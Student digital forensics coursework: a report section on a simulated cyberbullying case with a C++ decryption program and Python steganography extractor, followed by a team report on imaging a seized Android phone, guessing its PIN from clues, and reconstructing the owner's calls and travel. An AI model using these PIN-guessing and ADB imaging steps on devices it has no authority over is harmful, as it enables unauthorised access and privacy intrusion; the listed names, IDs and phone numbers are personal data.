Social Media Investigation folder is kept with all the evidences depicting the crime. It consist of 30 screenshots of Facebook, Instagram, WhatsApp conversations, 2 screenshots of call logs, two Encrypted files called e_IMG_0010 and e_IMG_0013, a Readme.txt file, a Document.rar file compressing two encrypted Police Report such as e_PoliceReport-CS-01, e_PoliceReport-CS-02, a C++ encryption program file, and two steganography image files namely IMG_0010.jpeg, IMG20231123140.jpg.
 In the Social Media Investigation folder, each of the evidence is examined separately and assessed for significance. Here are the evidence types and its specifics.
	FOLDER NAME
	FILENAME
	FILE  TYPE
	Details

	Social Media Investigation
	Call center log.png
	SunEnergy Call Log Sales
	0723245256 - Alfred Adam calling repeatedly at different times 

	Social Media Investigation
	Call logg.png
	iPhone Phone call  log
	Calls from Private Number: 0723245256 – Alfred Adam

	Social Media Investigation
	Document.rar
	Password-protected  Compressed File
	Extracts to Document Folder using given Password - Qk;87R]_w3dmBGcb[#TX=4

	Social Media Investigation/Document
	e_PoliceReport-CS-01
	Encrypted File using C++ Program
	Extracts to Police Report

	Social Media Investigation/Document
	e_PoliceReport-CS-02
	Encrypted File using C++ Program
	Extracts to Police Report

	Social Media Investigation
	IMG_0010.jpeg
	Steganography Image - Extracted using given Password - kali
	Extracts to C++ Encryption File

	Social Media Investigation
	IMG20231123140.jpg
	Steganography Image - Extracted using Python
	Contains Encryption File – Need Algorithm to extract

	Social Media Investigation
	e_IMG_0010
	Encrypted Steganography Image
	Steganography image extracts to IMG_0010.jpeg using C++ Program, Extracted file is tampered, tested using Python

	Social Media Investigation
	e_IMG_0013
	Encrypted Steganography Image
	Steganography image extracts to IMG_0013.jpeg using C++ Program, Extracted file is tampered, tested using Python

	Social Media Investigation
	Encrypt_file002.cpp
	C++ Encryption Program
	Created Decryption Program to extract files

	Social Media Investigation
	IMG_0101.jpg
	Instagram Chat
	Seer Musta

	Social Media Investigation
	IMG_0102.jpg
	Instagram Chat
	Seer Musta

	Social Media Investigation
	IMG_0103.jpg
	Instagram Chat
	Seer Musta

	Social Media Investigation
	IMG_0104.PNG
	Instagram Chat
	Seer Musta

	Social Media Investigation
	IMG_0105.PNG
	Instagram Chat
	Seer Musta

	Social Media Investigation
	IMG_0106.PNG
	Instagram Chat
	Seer Musta

	Social Media Investigation
	IMG_0107.jpg
	Facebook Chat
	Lee Saint

	Social Media Investigation
	IMG_0108.PNG
	Facebook Chat
	Lee Saint

	Social Media Investigation
	IMG_0109.PNG
	Facebook Chat
	Lee Saint

	Social Media Investigation
	IMG_0110.PNG
	Facebook Chat
	Fred William

	Social Media Investigation
	IMG_0111.PNG
	Facebook Chat
	Fred William

	Social Media Investigation
	IMG_0112.PNG
	Facebook Chat
	Fred William

	Social Media Investigation
	IMG_0113.PNG
	Facebook Chat
	Fred William

	Social Media Investigation
	IMG_0114.PNG
	Facebook Chat
	Fred William

	Social Media Investigation
	IMG_0115.PNG
	Facebook Chat
	Justine Elias

	Social Media Investigation
	IMG_0116.PNG
	Facebook Chat
	Justine Elias

	Social Media Investigation
	IMG_0117.PNG
	Facebook Chat
	Justine Elias

	Social Media Investigation
	IMG_0118.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0119.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0120.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0121.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0122.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0123.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0124.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	IMG_0125.PNG
	WhatsApp Chat
	Zhen

	Social Media Investigation
	Readme.txt
	Text File
	Contains Password
1. Kali
2. Qk;87R]_w3dmBGcb[#TX=4

	Social Media Investigation
	Screenshot_20231124-133925_WhatsApp.jpg
	Justine Elias

	Social Media Investigation
	Screenshot_20231124-133938_WhatsApp.jpg
	Justine Elias

	Social Media Investigation
	Screenshot_20231124-134017_WhatsApp.jpg
	Justine Elias

	Social Media Investigation
	Screenshot_20231124-134028_WhatsApp.jpg
	Justine Elias

	Social Media Investigation
	Screenshot_20231124-145712_WhatsApp.jpg
	Seer Musta


Table 4.2 List of Evidences and its Specifications
4.5 Evidence Analysis:
To fully understand the events and the turnaround of events surrounding the cyberbully case, we may now review and discuss the evidentiary files and data extracted from the encrypted files.

4.5.1 Call Logs:
Alfred Adam repeatedly called the same number at different times in a consistent manner. The phone log's details make it clear that these talks' content resembled cyberbullying. The call logs don't reveal the precise nature of the discussions.

4.5.2 Chat Conversations: 

4.5.2.1 Seer Musta: (Instagram & WhatsApp Chats)
After giving compliments about her Twitter posts, Seer Musta begins chatting with her about their shared interests and hobbies. Emily reluctantly agrees to look at it when he sends her a link to an amicable fashion and design program that asks for an email address which she finally goes fond off. WhatsApp chat users strike up another friendly discussion by exchanging stories about their days, catching up on high school recollections, and expressing interest in each other's lives. Seer Musta inquiries about personal matters such as spending time with family, raising a brother, and other things. The tone of the chat remains lighthearted and cordial the entire time.

4.5.2.2 Lee Saint: (Facebook Chat)
Emmy gracefully declines Lee Saint's offer to have coffee.  Lee perseveres after being rejected, maybe even presenting a challenge. The publication of intriguing images on her Instagram account and attempts to breach her account are just two examples of the increasing threats and intimidation. Refusing to back down in the face of threats, Emmy shows that her parents would report the harassment by remaining firm. The harasser then makes one last threat, holding the victim responsible for the result.

4.5.2.3. Fred William: (Facebook Chat)
Both Emmy James and Fred love dogs, and they discuss potential future family members and names for them. Birthdates, favorite colors, hangout spots, and high schools are all talked about. The chat becomes more personal as questions about identities from other social media accounts and preferred study subjects are asked. An email request is made in order to share articles, and the discussion concludes with a Twitter handle exchange. After that, Fred requests a phone number, and there's a little clarification over a mismatched Twitter handle. The discussion comes to an end with a wish for more conversations.


4.5.2.4. Justine Elias: (WhatsApp & Facebook Chats)
Emmy is offered to go out for Coffee by Justine Elias but she turns him down. To get her to give them a chance, he keeps extending invitations. Despite her severity and emphasis on the importance of respecting boundaries, Justine doesn't give up. As the talk draws to an end, Justine tells Emmy that she will regret turning them down. 
Justine admits on Facebook that he still has feelings for her. Even though she consistently says no to his advances for a talk, he persists. She rejects every romantic involvement and calls it harassment. He ignores her concerns and tells her that he still thinks highly of her, but she ultimately rejects him by highlighting the fact that they are not even in a relationship.

4.5.2.5 Zhen: (Facebook Chat)
Zhen extends a kind greeting and shows interest in Emmy’s profile as they start talking. They talk about their same hobbies, and Zhen hints that they could have coffee together. As they get more intimate, she is questioned about her likes, favorite places, and relationship status. Zhen acknowledges her wish to take things slowly but doesn't stop her from showing interest in getting to know them. After a courteous farewell, Zhen makes a somewhat intrusive remark about making sure she got home safely, which prompts her to respond cautiously.

Harassing Conversation with Lee Saint and Justine Elias:
[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\IMG_0108.PNG]        [image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\IMG_0117.PNG]               [image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\IMG_0116.PNG]
Figure: 4.2 Harassing Conversation with Lee Saint and Justine Elias
4.5.3 Decryption
4.5.3.1 Decryption Program: 1
For the given C++ encryption software, a C++ decryption program is built. To improve the decipher process in the decryption program, the encryption program is altered. The C++ encryption or decryption software can be used to decrypt the files which is later reviewed. The C++ decryption program is available here.
#include<iostream>
#include <fstream>
#include <iomanip>
int EncryptionTable[16] = {8, 0xC, 3, 9, 5, 7, 0xD, 1, 4, 0xA, 0xF, 0, 6, 0xE, 0xB, 2};
int DecryptionTable[16] = {0xB, 7, 0xF, 2, 8, 4, 0xC, 5, 0, 3, 9, 0xE, 1, 6, 0xD, 0xA};
char DecryptChar(const unsigned char c, int (&decryption_table)[16]){
   char decrypted_c = 0;
    int hex1 = 0, hex2 = 0;
    int decrypted_hex1 = 0, decrypted_hex2 = 0;
    hex1 = c/16;
    hex2 = c%16;
   //std::cout << "hex1 and hex2 is:" << std::endl;
   //std::cout << hex1 << " " << hex2 << std::endl;
    decrypted_hex1 = decryption_table[hex1];
    decrypted_hex2 = decryption_table[hex2];
    decrypted_c = decrypted_hex1 * 16 + decrypted_hex2;
    return decrypted_c;
}
void OutputCharAsOD(char unsigned c){
    int hex1 = c/16, hex2 = c%16;
    std::cout << "0x";
    if(hex1 < 10){
         std::cout << hex1;
    }
    else{
          std::cout << (char)('A' + hex1 -10);
    }
    if(hex2 < 10){
          std::cout << hex2;
    }
    else{
          std::cout << (char)('A' + hex2 -10);
    }
     std::cout << " ";
 }
int main(int argc, char* argv[]){
    if(argc != 4){
       std::cout << "Argument number is wrong.\n" << std::endl;
       return 0;
   }
    std::string input_file_path;
    std::string output_file_path;
    std::string decryption_option;
    input_file_path.assign(argv[1]);
    output_file_path.assign(argv[2]);
    decryption_option.assign(argv[3]);
    std::ifstream input_file(input_file_path, std::ios::binary);
    if (!input_file.is_open()) {
        std::cerr << "Unable to open input file" << std::endl;
        return 1;
   }
    std::ofstream output_file(output_file_path, std::ios::binary);
    if (!output_file.is_open()) {
        std::cerr << "Unable to create or open output file" << std::endl;
        return 1;
    }
    char buffer1[1024];
    char buffer2[1024];
    while(input_file.read(buffer1, sizeof(buffer1))) {
        int ReadAmount = input_file.gcount();
        if(decryption_option == "decrypt"){
            for(int i = 0; i < ReadAmount; i++){
               buffer2[i] = DecryptChar(buffer1[i], DecryptionTable);
               }
        }
         else {
             for(int i = 0; i < ReadAmount; i++){
                buffer2[i] = DecryptChar(buffer1[i], EncryptionTable);
            }
        }
        output_file.write(buffer2, ReadAmount);
    }
    input_file.close();
    output_file.close(); 
    return 0;
}
4.5.3.2 Execution:
Using Decryption Program:
sakthi$ g++ decrypt_file.cpp -o decrypt01
sakthi$ ./decrypt01 e_IMG_0010 IMG0010.jpg decrypt

In this program, three arguments are specified, encrypted file, decrypted file and the option to encrypt/decrypt. Here, decrypted file is an image file - IMG0010.jpg and it is stored in the same folder. 
Using Encryption Program:
The same steps can be executed to the C++ Encryption program and get the same output.
sakthi$ g++ encrypt_file002.cpp -o decrypt02
sakthi$ ./decrypt02 e_IMG_0010 IMG-0010.jpg decrypt

4.5.3.3 Decryption Program: 2
The least important bits of the image pixels are used to encode the binary data of the C++ program, which is then hidden. The exact encoding technique utilized to conceal the C++ program in the image determines whether the extraction is successful. In response, the script employees multiprocessing to enhance data extraction speed and accepts a specific chunk size. This is a type of steganography in which data is hidden within another type of data.
from PIL import Image
import multiprocessing 

def pixel_to_bin(pixel_chunk):
    return [[msg_to_bin(ch) for ch in pixel] for pixel in pixel_chunk]

def msg_to_bin(msg):
    if isinstance(msg, str):
        return ''.join([format(ord(c), "08b") for c in msg])
    elif isinstance(msg, int):
        return format(msg, "08b")
    else:
        raise TypeError("input type not supported")

def process_chunk(pixel_chunk):
    bin_data = ""
    for pixels in pixel_to_bin(pixel_chunk):
        for channel_bits in pixels:
            bin_data += channel_bits[-1]
    return bin_data

def show_data(img):
    chunk_size = 5000
    chunked_data = [img[i:i + chunk_size] for i in range(0, len(img), chunk_size)]
    with multiprocessing.Pool() as pool:
        results = pool.map(process_chunk, chunked_data)

    bin_data = ''.join(results)
    allBytes = [bin_data[i: i+8] for i in range(0, len(bin_data), 8)]

    decodedData = bytearray()
    for bytes in allBytes:
        decodedData.append(int(bytes, 2))
    return decodedData.rstrip(b"#####")

def read_truncated_image(image_path):
    try:
        with Image.open(image_path) as img:
            # Attempt to load the image
            img.load()
            # Get as much data as possible from the image
            pixel_data = list(img.getdata())
            return pixel_data
    except IOError as e:
        # Handle the specific exception for truncated images
        if "image file is truncated" in str(e):
            print("Image file is truncated. Attempting to read truncated data.")
            with open(image_path, "rb") as f:
                # Attempt to read the truncated data directly
                truncated_data = f.read()
            return truncated_data
        else:
            # Handle other types of image loading errors
            print(f"Error loading image: {e}")
            return None

def main():
    image_path = "IMG0010.jpg"
    print(image_path)
    try:
        pixel_data = read_truncated_image(image_path)
        extracted_cpp_program = show_data(pixel_data)
        
        # Check if extracted_cpp_program is not empty or None
        if extracted_cpp_program:
            output_file_path = "extracted_program.cpp"
            with open(output_file_path, "wb") as file:
                file.write(extracted_cpp_program)
        else:
            print("Failed to extract C++ program from the image.")
    except Exception as e:
        print(f"Error: {e}")
        # Handle the error as needed (e.g., log the error, exit gracefully, etc.)

if __name__ == "__main__":
    main()

4.5.3.4 Execution:
sakthi$ python3 extract.py 
IMG0010.jpg
Image file is truncated. Attempting to read truncated data.
Error: 'int' object is not iterable
cpp sakthi$

By using Kali Linux Steganography tool, binwalk, the hidden images existing the decrypted image can be verified.

└─$ binwalk -e  IMG0010.jpeg 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8


4.6 Presenting the Evidence:
The two encrypted police report files, e_PoliceReport-CS-01 and e_PoliceReport-CS-02, that are contained in the Document folder are used to generate the Police report using a C++ decryption application.
Based on the chat talks, Justine persuaded Emily to pursue a relationship even though Emily, as a teenager, strongly opposes it. Lucy, acting on behalf of the victim, submits a police report naming Justine Elias as the suspect, according to Emily. The compliant states “Engaging in illicit activities on social media, ultimately leading to a campaign of harassment against Emily and her family”.

4.7 Conclusion:
The analysis confirms that engaging in social media activities requires you to comply with legal standards. The legal system and digital forensics should work together to create and uphold safe investigative practices so that no one who is not guilty of a crime gets prosecuted.

4.8 Challenges Faced:

4.8.1 Decrypting the Files: After converting an image to a steganography image, the hidden image was encrypted again using a C++ program. The image is hidden, as confirmed by the binwalk steganography tool. However, the same image is reported as tampered, using the image decrypting multiprocessing Python software. The program is stuck and won't let the image load if multiprocessing isn't used. 

4.8.2 Image Integrity: The data size in the hard drive was not represented correctly and without getting any confirmation from the source, I proceeded to find hidden folders or files. With that, the imaging process is continued. I didn’t want to put the team into the same situation. 

4.8.3 Team Report Task: On December 14, 2023, a team discussion was initiated by my teammate, who presented her work and concluded by urging the commencement of a team report by herself. Recognizing the importance of accurately portraying individual’s behavior in the context of cyberbully crime, I highlighted a deficiency in this aspect. In the subsequent team discussion, the same teammate proposed tools for assistance. Acting on this recommendation, the team engaged in activities using the tools, enabling some progress in team reporting. However, on Dec 19, 2023, criticisms were directed at my reporting skills, with little regard for my corrections. Confronted with this, I stood firm, asserting that this teammate had taken on more tasks than others, should spearhead the team reporting effort. Currently, we find ourselves only midway through the report, having dedicated three days to the endeavor. This decision was made to ensure the completion of all team projects before the impending school closure on December 22, 2023. In addition to that, the teammate declined to add decryption program presented here to the team reports.
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1. Introduction
Team Members:
Pranjal Sinha (Student ID: 2220277)
Arya Martin (Student ID: 2220294)
Bala Jaya Chandra Pichikala (Student ID: 2219819)
Sneha Sindhe (Student ID: 2304464)
Sakthi Sangeetha Kandaswamy (Student ID: 2236179)
Mehulgiri Ashvingiri Goswami (Student ID: 2214858)
2. Chain of Custody
One chain of custody file is attached to this document, namely 'Team C - Task 4'.
3. Team Discussions
Two Team Discussions/Meeting Notes are attached to this document, namely 'Meeting Notes - 1.docx' and 'Team Discussions/Meeting Notes.docs'.
4. Case Study Overview
The company suspects a Technical Officer (TO) involved in an Artificial Intelligence-based self-driving car project of potentially compromising sensitive research data to competitors. The TO, who took numerous unreported days off and undisclosed national/international trips, is suspected of unauthorized information release. Legal proceedings have begun, and the company has acquired the TO's mobile phone, currently password-protected. Our team is tasked with a thorough analysis to validate the allegations, ensuring evidence integrity and admissibility in court. The comprehensive report should address the suspected data breach and provide insights into any unauthorized activities related to the project, aiding the ongoing legal proceedings.
5. Initial Examination and Assessment
5.1. Initial Examination of the Phone Case
Model: Note 14 (16G)
Brand: Ulefone
Colour: Lavender Purple
IMEI-1: 355617730545789
IMEI-2: 355617730545771
S/N:3102SH1010027469



MediaTek Helio A22
3GB RAM+16GB ROM
6.52-inch HD+ Display
8MP Main Camera
5MP Front Camera
Face Unlock
4500mAh Battery
Powered by Android™ 12

5.2. Extraction Summary using Cellebrite UFED

The following summary provides detailed information about the Ulefone Note 14 device, including its hardware, software, and network-related attributes, as extracted using digital forensic tools.

Chipset: MT6761
Client Utilization in Extraction: Yes
Advertising ID: 0a24f44d-5908-42bd-a7cb-f7e37ea3aad5
Android ID: 749c315aaaa78ca3
Detected Manufacturer: Ulefone
Detected model: Note 14
Phone date/time: 08/12/2023, 12:57:49
Phone Revision: 12 SP1A.210812.016, build number 1679135682
IMEI: 355617730545771
Model: Note 14
MSISDN: 918778244595
MSISDN Type: Standard (MSISDN)
OS: Android 12
OS_Version: 12
SecurityPatchLevel: 05/03/2023
Vendor: Ulefone

[image: ]
[bookmark: _qycdd4pza98h]Figure 1: Extraction Summary using Cellebrite UFED
6. [bookmark: _skvvz48av7g4]Content of the Phone
6.1. [bookmark: _chs42d1iay27]Content
6.1.1. Calendar: 119
6.1.2. Call Log: 24
6.1.3. Contacts: 13
6.1.4. Device Locations: 96
6.1.5. Installed Applications: 10
6.1.6. Instant Messages: 151

6.2. [bookmark: _cv5cm4ugomqc]Data Files
6.2.1. Audio: 23
6.2.2. Configurations: 1
6.2.3. Databases: 8
6.2.4. Images: 217
6.2.5. Text: 12
6.2.6. Uncategorized: 63
6.2.7. Videos: 6

7. Storage and Backup
Following is the process of using Cellebrite UFED for mobile forensics on a Ulefone Note14, including the setup of the phone. This procedure outlines the steps to prepare the Ulefone Note14 for forensic data extraction using Cellebrite UFED, including both the device and its Nano SIM card.

7.1. [bookmark: _qrtrtpt6in38]Using Cellebrite UFED with Ulefone Note14
7.1.1. Cellebrite's Universal Forensic Extraction Device (UFED) tool is utilized for mobile forensics imaging on a Ulefone Note14, a model not listed in Cellebrite's supported devices.
7.1.2. The UFED tool's "AUTO-DETECT" feature is employed to process the device.

7.2. [bookmark: _g94i2mfk4dh3]Preparing the Ulefone Note14
7.2.1. First, access the 'Settings' on the Ulefone Note14.
7.2.2. In the 'About Phone' section, find and tap the 'Build Number' seven times to unlock 'Developer Options'.
7.2.3. Return to the main 'Settings', enter the 'Developer Options', and enable 'USB Debugging' and 'Stay Awake' settings. 'USB Debugging' facilitates direct communication with a computer, while 'Stay Awake' prevents the phone from sleeping during the imaging process.
7.2.4. Set the USB connection mode to Media Transfer Protocol (MTP) for file transfers between the phone and a computer.

7.3. [bookmark: _smd2u6fset45]Forensic Imaging Process
7.3.1. Connect the phone to a computer using a USB cable. UFED should recognize the Ulefone Note14 model.
7.3.2. Choose 'Advanced Logical' as the extraction type and specify a folder for saving the extracted data.
7.3.3. Confirm the model details on UFED and proceed with the extraction, saving all data types to the designated folder.

7.4. [bookmark: _i2trbad0thbp]Using Cellebrite UFED SIM Card Adapter
7.4.1. For SIM card data extraction, use the Cellebrite UFED SIM Card adapter with a Nano SIM card from the phone.
7.4.2. Connect the adapter to a PC's USB slot and launch the UFED software.
7.4.3. Select 'Advanced Logical' extraction for comprehensive data retrieval from the SIM card, and specify the storage location.
7.4.4. Once the adapter's connectivity is verified, the software begins extracting data, which is then saved in the pre-defined location on the PC.

8. Analysis and Examination
8.1. [bookmark: _o4wxb7oh4ltx]Password Cracking

The phone under investigation was password-protected. We attempted various methods to crack the password, but encountered challenges with each approach:

8.1.1. [bookmark: _3b2z8av6n3sn]Contacting the Manufacturer
The recommended and lawful procedure is to seek assistance from the device's manufacturer or your mobile service provider. They may help you regain access through legitimate means. When we contacted the manufacturer, they required us to confirm ownership by verifying purchase details, which we didn't possess. Consequently, this method proved unsuccessful.

8.1.2. [bookmark: _7xbhrsv8sfgd]ADB Connection
The ADB connection failed because USB debugging was turned off.
To establish an ADB connection and create an image of the Android device, follow these steps:

8.1.2.1. [bookmark: _wkmmw2ly78vq]Prerequisites
8.1.2.1.1. Enable USB Debugging.
8.1.2.1.2. Install ADB.

8.1.2.2. [bookmark: _hekdkqubpo5h]Steps
8.1.2.2.1. Connect your Android device to the computer using a USB cable.

8.1.2.2.2. [bookmark: _xudn7x5fq2xq]Verify the ADB Connection
Open a command prompt or terminal on your computer. Navigate to the directory where ADB is installed. Run the command "adb devices" to confirm device recognition. If your device is listed, the connection is successful.

8.1.2.2.3. Run the following command to enter the ADB shell: adb shell

8.1.2.2.4. [bookmark: _x2e7sn28q2y]Create an Image
To create an image of the device, you can use the dd command. For example:

adb shell
su
dd if=/dev/block/bootdevice/by-name/boot of=/sdcard/boot.img

8.1.2.2.5. [bookmark: _egijw2cv6dpi]Pull Image to Computer
Once the image is created, you can pull it from the device to your computer using the following command:

adb pull /sdcard/boot.img

8.1.3. [bookmark: _bmbl212qi4jr]Jailbreaking the Device
We refrained from attempting to jailbreak or root the device. Jailbreaking typically refers to the process of removing software restrictions imposed by the operating system on devices, commonly performed on mobile devices like iPhones running iOS. The equivalent term for Android devices is 'rooting.'

8.1.4. [bookmark: _nyffvq9p0wha]Brute-Force Attack: Dictionary Attacks
The method finally worked.

We conducted tests involving a 'brute-force attack' or 'brute-forcing.' In this method, an attacker systematically tests all possible password combinations until discovering the correct one, making it a time-consuming and resource-intensive approach. The specific form of brute-force attack employed was 'dictionary attacks,' where the attacker systematically attempts various likely passwords from a precompiled list known as a 'dictionary.' This list generally includes common words, phrases, and combinations that users commonly use as passwords.

8.1.4.1. [bookmark: _uyh5g29tpcnx]Hints
We received three clues: The password consists of four digits, the available digit set is {0, 1, 2, 4, 5, 8}, and the last digit is fixed at '4'.

8.1.4.2. [bookmark: _7mamu2t8tw9w]Guessing Probability
We compiled a list of probable significant numbers, considering various factors:

8.1.4.2.1. The area code of the university campus converted into decimal. For instance, 'sa1' in hex would be 161. The potential guess is 1614, given that we already know the fourth digit.
8.1.4.2.2. The date of submission of assignments is 12 January 2024. The potential passwords can be 'ddyy' or '1224.'
8.1.4.2.3. The subject code of the Digital Forensics subject is converted into decimal.
8.1.4.2.4. The current month and year. The potential guess can be 'mmyy' or '1223,' but we knew the fourth digit had to be 4.

8.1.4.3. [bookmark: _nun72baros2c]Risk Assessment for Brute-Force Attack
8.1.4.3.1. [bookmark: _v5wx25q0whev]Number of Possible Password Combinations
We received three clues: The password consists of four digits, the available digit set is {0, 1, 2, 4, 5, 8}, and the last digit is fixed at '4'. Given this information, we can determine the possible combinations for the first three positions. If the password structure is considered as (x y z 4), where each of x, y, and z can take any value from the set {0, 1, 2, 4, 5, 8}, the total number of combinations for the first three positions would indeed be calculated as (6 * 6 * 6),  resulting in 216 combinations.

8.1.4.3.2. [bookmark: _az5uqq802dem]Rate Limiting Mechanism
A rate-limiting mechanism was implemented, where the device locks or delays after a certain number of failed attempts. Initially, the time delay was 30 seconds, but after approximately 30 attempts, it increased to 60 seconds.

8.1.4.3.3. [bookmark: _xbbiz6qeyxfa]Time
We determined the total time required for all 216 combinations, considering an average time delay of 60 seconds between each password cracking attempt. The calculated time amounted to approximately 12,900 seconds or 3.58 hours. Given that the estimated time fell below 4 hours, making it affordable, we decided to take the risk and proceed with guessing the password.

8.1.4.3.4. [bookmark: _vktn9p31pfu]Experiment Set
We opted to leverage the guessed probable number of the assignment submission date, 1224. Consequently, we chose to work with the password structure (1 _ _ 4), which resulted in a total of only 36 possible combinations. We attempted every possible password from this combination, and one of them was successful.

{1004  1014  1024  1044  1054  1084
1104  1114  1124  1144  1154  1184
1204  1214  1224  1244  1254  1284
1404  1414  1424  1444  1454  1484
1504  1514  1524  1544  1554  1584
1804  1814  1824  1844  1854  1884}

8.1.5. [bookmark: _r08hxkf83j6m]Password Hint using the PhonePin.txt file.
We downloaded the file from the University's Moodle site. Here are the commands we ran using Windows CMD:

Stream : Zone.Identifier Length : 50

$path = "D:\2.2. Study Material\W O R K I N G  D I R E C T O R Y\UWTSD\2.4.5. ACCA7031 - Digital Forensics Analysis\2.4.5.2. Study Material\Lectures\PhonePin.txt"

gci -Recurse | ForEach-Object { gi $_.FullName -Stream * } | Where-Object Stream -ne ':$Data'

Get-Content PhonePin.txt > recovered_file.txt

However, we could not retrieve the password through this method.

8.2. [bookmark: _vk0e3dlpo8lt]Analysis and Examination
8.2.1. [bookmark: _atkbdajjtunm]Summary of Audio Recordings
We discovered a total of 23 audio recordings, which were made during July, August, and September of the year 2023.

We collected the audio transcripts using an online tool called https://go-transcribe.com/. 

The distribution of these recordings over the months and specific dates is as follows and all the audio transcripts can be found in the Google Sheet - Task 3 & 4.xlsx.

8.2.1.1. [bookmark: _vxz8tgp9obr3]July
Total of 4 recordings.
3 recordings on July 9, 2023.
1 recording on July 17, 2023.

8.2.1.2. [bookmark: _661qvrvj1h1]August
Total of 10 recordings distributed over several days:
1 recording on August 3.
5 recordings on August 14.
1 recording on August 15, which is the largest of all recordings.
1 recording on August 18.
2 recordings on August 19.

8.2.1.3. [bookmark: _rcc2wagv8mdz]September
Total of 9 recordings:
1 recording on September 2.
3 recordings on September 3.
5 recordings on September 11.

8.2.2. [bookmark: _ho8t1usrpd7w]Call Logs
We have identified several calls that are under suspicion, along with their respective durations:

+918072524347 - Duration: 00:00:17
+919025460788 - Duration: 00:05:32
+919488025894 - Duration: 00:08:16
9840248706 - Duration: 00:00:53
9443270911 - Duration: 00:02:31
9843486689 - Duration: 00:02:25
9787062894 - Duration: 00:00:14


The longest conversation recorded was with the number +919488025894, with a total of 00:08:16.

8.2.3. [bookmark: _2mm26lj6i7zr]Contacts
From these contacts, particularly the presence of a work contact from the UK, it 
seems plausible that the owner of the phone has professional ties to the UK.
The contact list includes:

8.2.3.1. A work-related contact labeled "3 MM," associated with the phone number +447383368785. This number is likely from the UK, as evidenced by the +44 country code.

8.2.3.2. A contact named "5SD" linked to the number +16472254735, which appears to be a U.S. number given its +1 country code.

8.2.3.3. The contact "JS" is connected to the phone number +917824807001, suggesting it is an Indian number based on the +91 country code.

8.2.3.4. Another contact, "SJ 4," is saved with the phone number +4407443455188, indicating it is also from the UK.
			
8.2.4. [bookmark: _7sbb7nrsrz4]Images
We have successfully identified a total of 218 media files. Among these, there are 6 video files and 1 image file that has been moved to trash, named ".trashed-1696323392-18.jpg". The analysis of the metadata from these images was conducted to ascertain the travel history of the suspect.

8.2.5. [bookmark: _e5ju1bn08b4d]Installed Applications
We identified a total of 10 installed applications. None of the listed package names inherently appear suspicious as they mostly represent standard system-level applications and services within the Android operating system.

The analysis of the installed applications on the suspect's mobile device does not reveal any inherently suspicious applications. The listed package names primarily consist of standard system-level applications and services typical in the Android operating system. These include apps for basic functionalities like communication services, wallpaper settings, system settings intelligence, telephony data management, note-taking, home screen launching, timekeeping, device compatibility testing, and Bluetooth MIDI support. None of these applications stand out as unusual or indicative of malicious activity on their own. Therefore, based on this app list alone, there is no immediate cause for concern regarding the suspect's use of their mobile device in relation to the alleged unauthorized activities.

Here's a brief reassessment:

8.2.5.1. com.google.android.sample.rcsclient: Might be a sample app related to Rich Communication Services (RCS), but it's not inherently suspicious.

8.2.5.2. com.android.wallpaperbackup: A service related to wallpaper settings, typical for system functionality.

8.2.5.3. com.android.settings.intelligence: A part of Android OS for intelligent features in settings, nothing unusual.

8.2.5.4. com.android.providers.telephony: Standard system service for managing telephony data.

8.2.5.5. com.android.notepads: Could be a less common system or pre-installed note-taking app, but not necessarily suspicious.

8.2.5.6. com.android.launcher3: A basic launcher for the Android home screen, standard in many Android versions.

8.2.5.7. com.android.deskclock: The standard clock app in Android.

8.2.5.8. com.android.cts.priv.ctsshim and com.android.cts.ctsshim: Related to Android's Compatibility Test Suite; standard for testing device compatibility.

8.2.5.9. com.android.bluetoothmidiservice: A service for Bluetooth MIDI support, standard in modern Android versions.

8.2.6. [bookmark: _uefv0am3j8qr]Locations
The geographic coordinates for a total of 104 media files have been precisely identified, out of which only 7 locations were unique, based on the location data embedded in the media's metadata.
The analysis of these coordinates illustrates a comprehensive travel pattern over a two-month period, encompassing numerous cities both within India and across international destinations like Dubai, London, and Gdańsk. Notably, the individual appears to have extensively visited various locations in Tamil Nadu, India, including both urban and rural areas, and demonstrated rapid transitions between different countries.
This travel record depicts a diverse and extensive range of movement, incorporating multiple international flights, numerous train rides, and various forms of local transportation in both the UK and India. The suspect's activities span a variety of cities and transportation methods, reflecting a complex and broad travel itinerary.

Following is the whole travel timeline of the suspect:

July 2023
July 9: The suspect travels by coach from an unspecified airport in the United Kingdom to Dubai. They then fly from Dubai to Chennai on Emirates flight EK 542, arriving in Chennai by 3:49:04 AM on July 10.
July 10: Visits Thazambedu (village), Paramankeni (village), and Bommayapalayam (beach) in Tamil Nadu, India.
July 13: In Puducherry, India from 6:06:44 PM.
July 14: In Bengaluru, Karnataka, India at 2:25:36 PM.
July 17: Traveling via train within India.
July 26: In Chennai, Tamil Nadu, India early in the morning, followed by visits to various locations in Tirupati (temple), Andhra Pradesh.
July 29: Visits Vadavalli, Rayan, Sirukundra Upper Division, and Attakatti in Tamil Nadu.
July 30: In Vellamalai Mattam and Coimbatore, with multiple stops in Attakatti.

[bookmark: _7hqqya2x7qmq]August 2023
August 3: In Puducherry, India at 5:36:52 AM.
August 14: In Chennai, Tamil Nadu, India at 7:25:23 PM, then travels on Emirates EK 547 from Chennai to Dubai, followed by a flight to an unspecified airport in the United Kingdom.
August 15: Travels on National Express in the United Kingdom.
August 18: Uses Chiltern Railways services in the United Kingdom.

[bookmark: _nj00ht3btwl2]September 2023
September 2: At Heathrow Central Bus Station.
September 3: At Stansted Airport, London, United Kingdom in the morning, then travels from London to Poland.
September 4: In Gdańsk, Poland in the evening.
September 9: In Gdańsk, Poland with timestamps throughout the day.
September 11: Takes a train to Paddington, then arrives in Swansea via train.

8.2.6.1. [bookmark: _22basjkson0z]Dubai as a Transit Hub
Dubai appears to be used solely as a transit hub by the suspect, with their activities confined to the airport area. This suggests that their primary destinations of interest were elsewhere, specifically in India, the UK, and potentially Poland.

8.2.6.2. [bookmark: _2elrvmgpzwoa]End of Journey in Swansea
